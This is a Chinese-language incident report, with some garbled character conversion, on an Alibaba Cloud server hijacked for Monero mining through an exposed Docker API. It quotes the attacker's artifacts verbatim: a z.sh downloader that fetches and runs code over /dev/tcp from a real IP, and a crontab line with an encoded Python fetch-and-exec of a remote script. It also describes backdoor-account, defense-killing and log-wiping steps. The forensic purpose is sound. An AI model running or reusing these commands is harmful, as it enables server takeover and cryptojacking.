一次悲慘的被挖礦經歷

出品|MS08067實驗室(www.ms08067.com)web

本文做者:500(Ms08067實驗室成員)docker

1、事件原由

  上週想着部署一個分佈式文件系統,我就在阿里雲上申請了一臺機器,部署了docker並安裝Simpledfs,可不想剛雲主機剛配置沒兩天,就發現機器的cpu使用率飆升,控制檯各類告警。登陸上去先看top一下看看系統的情況,發現這個bash腳本幾乎佔用了所有cup,估計是被黑了。json

  我趕忙去查看機器歷史操做,經過history命令查看歷史操做,發現內容已經被清空,日誌文件也所有被清空,而且docker服務也被關閉了。api

  通過排查發現,這臺機器開放了ssh服務22端口、本地smtp25端口、sshd守護進程222端口,以及docker服務的端口。對外暴露了ssh,第一個想到的就是先查看一下ssh的版本。安全

  查看該版本中有哪些漏洞可能被攻擊者利用,排查了可能被利用的OpenSSH 安全認證繞過漏洞(CVE-2016-10012)、SSH登錄驗證繞過漏洞(cve-2018-10933)等漏洞的利用方法,但並無發現可直接利用並獲取到root權限的方法。bash

  那麼攻擊者有沒有可能利用docker的漏洞,而後從容器中逃逸出來呢?這時我想到了docker remote API未受權訪問漏洞,攻擊者能夠利用docker API 2375端口,經過接口執行容器命令。而後將/root/.ssh目錄掛載到容器內,進而把ssh公鑰寫入進去,修改權限爲600,而後就能夠以root用戶登陸了。微信

參考:http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/網絡

2、咱們來看看攻擊者作了哪些操做

  一、攻擊者建立了一個新的帳號,查看/etc/passwd文件,發現新增了一個用戶tech,建立的時間是22:12ssh

tech:x:1000:1000::/home/tech:/bin/bash

  二、攻擊者將tech用戶加入到wheel組,而且修改了/etc/sudoers文件。(這個文件的權限被篡改過,應該是先加上了寫權限,篡改完成後又改回了440權限,並配置了wheel組用戶使用sudo到root時不須要輸入密碼。)tcp

  三、隨後攻擊者下載了工具集busybox,被阿里雲偵測到。

  四、攻擊者將根目錄換成指定的目錄,

chroot /mnt /bin/sh -c cd /opt/

   並寫入z.sh,

echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh

   其中裏面包含了一個ip地址,威脅情報信息以下:

   在系統的opt目錄下,果真存在z.sh

#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-

  五、攻擊者嘗試寫入後門程序,進行權限維持/usr/sbin/stable 但阿里雲盾攔截了該後門程序。

  六、22點14分至22點47分這段時間,攻擊者kill掉了阿里雲盾的防禦,並下載挖礦程序。這個過程因爲阿里雲盾下線,日誌被清理。未獲取到更多信息。

  七、隨後,攻擊者下載了挖礦程序並進行了安裝。在/root/.ssh中出現了xmrig和config.json文件,時間是22:49

   Xmirg是一款比特幣挖礦軟件,能夠經過匹配到的礦池內容修改相應的config.json文件。

   參考:https://www.dxpool.com/help/zh/kva-mining-tutorial

  八、在usr/bin中發現了運行着的bash腳本,應該是運行全套挖礦程序的腳步程序。

   查看下Bash腳本的運行狀態以及網絡鏈接狀況

  九、至此攻擊者還不知足,他還替換了計劃任務文件,設置挖礦的計劃任務。
   修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等計劃任務文件。
   /var/spool/cron/root中的內容以下:

*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特幣錢包地址)

  十、最後,攻擊者將系統的日誌文件所有刪除,包括
   /var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。

3、總結

  隨着數字貨幣價格的上漲,愈來愈多的攻擊者開始利用系統漏洞進行挖礦,攻擊者操做老練,思路清晰,一看就是作過多年的老手了。
  你們要增強安全意識,不要將危險端口暴露在公網,及時更新系統組件,並升級安全補丁。

轉載請聯繫做者並註明出處!

Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社區
加入後邀請加入內部VIP羣,內部微信羣永久有效!

相關文章
相關標籤/搜索